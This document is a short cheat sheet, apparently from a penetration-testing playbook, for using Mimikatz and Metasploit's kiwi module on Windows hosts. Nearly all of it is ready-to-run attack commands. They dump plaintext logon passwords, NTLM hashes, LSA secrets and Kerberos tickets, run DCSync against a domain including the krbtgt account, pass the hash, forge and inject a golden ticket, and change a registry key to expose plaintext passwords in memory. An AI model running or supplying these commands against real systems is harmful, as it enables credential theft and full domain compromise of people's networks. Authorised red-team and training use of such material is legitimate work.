Run from SYSTEM or Administrator context. Requires SeDebugPrivilege.
Upload mimikatz.exe to target
upload /kali/mimikatz.exe
Or use from Metasploit (in-memory):
load kiwi
creds_all
lsa_dump_sam
lsa_dump_secrets
Standard Mimikatz usage:
.\mimikatz.exe
Enable SeDebugPrivilege (needed for most operations)
privilege::debug
Output: Privilege '20' OK
Dump logon passwords (plaintext + NTLM · requires Win7 or with WDigest enabled)
sekurlsa::logonpasswords
Dump NTLM hashes from SAM database
lsadump::sam
Requires SYSTEM · elevate first with token::elevate
Dump LSA secrets
lsadump::secrets
DCSync (dump domain hashes as if DC)
lsadump::dcsync /domain:<DOMAIN> /all
lsadump::dcsync /domain:<DOMAIN> /user:Administrator
lsadump::dcsync /domain:<DOMAIN> /user:krbtgt
Dump all tickets (Kerberos)
sekurlsa::tickets /export
kerberos::list /export
Pass-the-Hash
sekurlsa::pth /user:Administrator /ntlm:<NTLM-HASH> /domain:<DOMAIN> /run:cmd.exe
Create Golden Ticket
kerberos::golden /user:Administrator /domain:<DOMAIN> \ /sid:<DOMAIN-SID> /krbtgt:<KRBTGT-HASH> /ticket:golden.kirbi
kerberos::ptt golden.kirbi
Elevate to SYSTEM (token impersonation)
token::elevate
Enable WDigest (Makes Plain Passwords Available in Memory)
Run from elevated prompt, then wait for a user to log in
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest \ /v UseLogonCredential /t REG_DWORD /d 1 /f
After re-auth: sekurlsa::logonpasswords shows plaintext
in playbooks